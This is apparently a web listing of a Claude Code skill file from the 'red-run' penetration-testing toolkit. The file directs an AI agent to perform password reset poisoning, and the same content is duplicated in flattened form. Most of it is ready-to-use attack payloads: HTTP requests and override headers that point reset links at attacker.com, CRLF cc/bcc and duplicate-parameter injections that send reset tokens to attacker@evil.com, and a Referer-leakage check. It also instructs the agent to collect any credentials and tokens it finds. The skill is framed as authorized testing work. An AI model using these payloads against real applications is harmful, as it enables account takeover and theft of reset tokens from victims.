/password-reset-poisoning
Exploit password reset vulnerabilities during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill password-reset-poisoning --agent claude-codeHow it fires
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/password-reset-poisoning
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Exploit password reset vulnerabilities during authorized penetration testing.
SKILL.md
password-reset-poisoning.SKILL.mdname: password-reset-poisoning
description: >
Exploit password reset vulnerabilities during authorized penetration
testing.
keywords:
- password reset poisoning
- password reset bypass
- forgot password bypass
- reset token theft
- host header poisoning
- password reset token
- account recovery bypass
- reset link manipulation
- password reset email injection
- token prediction
- reset token leakage
tools:
- burpsuite
- curl
- ffuf
opsec: low
Password Reset Poisoning
You are helping a penetration tester exploit password reset vulnerabilities. The target application has a password reset flow (forgot password → email → reset link) that may be vulnerable to token theft, host header manipulation, email injection, or weak token generation. The goal is to intercept or predict reset tokens to achieve account takeover. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[password-reset-poisoning] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- A password reset endpoint (`/forgot-password`, `/reset-password`,
`/account/recovery`)
- A test account (to receive and analyze legitimate reset emails)
- Burp Suite (to intercept and modify reset requests)
- An attacker-controlled server or Burp Collaborator (to capture redirected
tokens)
Step 1: Assess
Map the password reset flow.
Capture the Reset Flow
1. Request a password reset for your test account 2. Intercept the request in Burp 3. Receive the reset email — analyze the link structure 4. Note the token format, length, and character set
Identify the Reset Link Structure
https://target.com/reset?token=abc123def456
https://target.com/reset/abc123def456
https://target.com/reset?token=abc123&email=user@target.com
Key questions:
- Where does the domain in the link come from? (Host header? Config?)
- Is the token in a query parameter or URL path?
- Does the email contain any user-controllable content?
- Is there a separate verify endpoint?
Step 2: Host Header Poisoning
The most common password reset vulnerability — the application uses the Host header to generate the reset link URL.
Basic Host Override
# Replace Host header with attacker domain
POST /reset-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@target.com
If the victim receives: `https://attacker.com/reset?token=TOKEN` — the attacker captures the token when the victim clicks the link.
X-Forwarded-Host Override
# Keep original Host, add X-Forwarded-Host
POST /reset-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@target.com
All Host Override Headers
Test each of these — different frameworks honor different headers:
X-Forwarded-Host: attacker.com
X-Original-Host: attacker.com
X-Forwarded-Server: attacker.com
X-Host: attacker.com
X-HTTP-Host-Override: attacker.com
Forwarded: host=attacker.com
Double Host Header
Host: target.com
Host: attacker.com
Some load balancers pass the first, some the last. The application may use a different one than the proxy validated.
Host Header with Port
Host: target.com:@attacker.com
Host: target.com#@attacker.com
Host: attacker.com/target.com
Absolute URL Override
POST https://target.com/reset-password HTTP/1.1
Host: attacker.com
When the request line contains an absolute URL, some servers use the Host header for link generation instead of the URL.
Step 3: Token Leakage via Referer
If the reset page loads external resources, the token leaks in the Referer header.
Test for Referer Leakage
1. Request a password reset for your test account 2. Click the reset link (don't complete the reset) 3. On the reset page, click any external link or load an external resource 4. Check if the Referer header sent to the external site contains the token
# Check what external resources the reset page loads
curl -s "https://target.com/reset?token=TEST" | \
grep -oP 'src="https?://[^"]*"' | grep -v "target.com"
Exploit
If the reset page loads resources from a domain you control (CDN, analytics, social widget), the token arrives in your server logs via the Referer header.
If not, chain with an open redirect or XSS on the reset page to force navigation to your server.
Step 4: Email Parameter Injection
Manipulate the email parameter to receive the reset token at an attacker-controlled address.
Parameter Duplication
# Two email parameters — some backends send to both
email=victim@target.com&email=attacker@evil.com
Carbon Copy Injection (CRLF)
# Inject Cc/Bcc headers via CRLF
email=victim@target.com%0a%0dcc:attacker@evil.com
email=victim@target.com%0a%0dbcc:attacker@evil.com
email=victim@target.com%0d%0acc:attacker@evil.com
Separator Injection
# Various separators that may be parsed as multiple addresses
email=victim@target.com,attacker@evil
Read more
name: password-reset-poisoning description: > Exploit password reset vulnerabilities during authorized penetration testing. keywords: - password reset poisoning - password reset bypass - forgot password bypass - reset token theft - host header poisoning - password reset token - account recovery bypass - reset link manipulation - password reset email injection - token prediction - reset token leakage tools: - burpsuite - curl - ffuf opsec: low
Password Reset Poisoning
You are helping a penetration tester exploit password reset vulnerabilities. The target application has a password reset flow (forgot password → email → reset link) that may be vulnerable to token theft, host header manipulation, email injection, or weak token generation. The goal is to intercept or predict reset tokens to achieve account takeover. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[password-reset-poisoning] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- A password reset endpoint (`/forgot-password`, `/reset-password`,
`/account/recovery`)
- A test account (to receive and analyze legitimate reset emails)
- Burp Suite (to intercept and modify reset requests)
- An attacker-controlled server or Burp Collaborator (to capture redirected
tokens)
Step 1: Assess
Map the password reset flow.
Capture the Reset Flow
1. Request a password reset for your test account 2. Intercept the request in Burp 3. Receive the reset email — analyze the link structure 4. Note the token format, length, and character set
Identify the Reset Link Structure
https://target.com/reset?token=abc123def456 https://target.com/reset/abc123def456 https://target.com/reset?token=abc123&email=user@target.com
Key questions:
- Where does the domain in the link come from? (Host header? Config?)
- Is the token in a query parameter or URL path?
- Does the email contain any user-controllable content?
- Is there a separate verify endpoint?
Step 2: Host Header Poisoning
The most common password reset vulnerability — the application uses the Host header to generate the reset link URL.
Basic Host Override
# Replace Host header with attacker domain POST /reset-password HTTP/1.1 Host: attacker.com Content-Type: application/x-www-form-urlencoded email=victim@target.com
If the victim receives: `https://attacker.com/reset?token=TOKEN` — the attacker captures the token when the victim clicks the link.
X-Forwarded-Host Override
# Keep original Host, add X-Forwarded-Host POST /reset-password HTTP/1.1 Host: target.com X-Forwarded-Host: attacker.com Content-Type: application/x-www-form-urlencoded email=victim@target.com
All Host Override Headers
Test each of these — different frameworks honor different headers:
X-Forwarded-Host: attacker.com X-Original-Host: attacker.com X-Forwarded-Server: attacker.com X-Host: attacker.com X-HTTP-Host-Override: attacker.com Forwarded: host=attacker.com
Double Host Header
Host: target.com Host: attacker.com
Some load balancers pass the first, some the last. The application may use a different one than the proxy validated.
Host Header with Port
Host: target.com:@attacker.com Host: target.com#@attacker.com Host: attacker.com/target.com
Absolute URL Override
POST https://target.com/reset-password HTTP/1.1 Host: attacker.com
When the request line contains an absolute URL, some servers use the Host header for link generation instead of the URL.
Step 3: Token Leakage via Referer
If the reset page loads external resources, the token leaks in the Referer header.
Test for Referer Leakage
1. Request a password reset for your test account 2. Click the reset link (don't complete the reset) 3. On the reset page, click any external link or load an external resource 4. Check if the Referer header sent to the external site contains the token
# Check what external resources the reset page loads curl -s "https://target.com/reset?token=TEST" | \ grep -oP 'src="https?://[^"]*"' | grep -v "target.com"
Exploit
If the reset page loads resources from a domain you control (CDN, analytics, social widget), the token arrives in your server logs via the Referer header.
If not, chain with an open redirect or XSS on the reset page to force navigation to your server.
Step 4: Email Parameter Injection
Manipulate the email parameter to receive the reset token at an attacker-controlled address.
Parameter Duplication
# Two email parameters — some backends send to both email=victim@target.com&email=attacker@evil.com
Carbon Copy Injection (CRLF)
# Inject Cc/Bcc headers via CRLF email=victim@target.com%0a%0dcc:attacker@evil.com email=victim@target.com%0a%0dbcc:attacker@evil.com email=victim@target.com%0d%0acc:attacker@evil.com
Separator Injection
# Various separators that may be parsed as multiple addresses email=victim@target.com,attacker@evil
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
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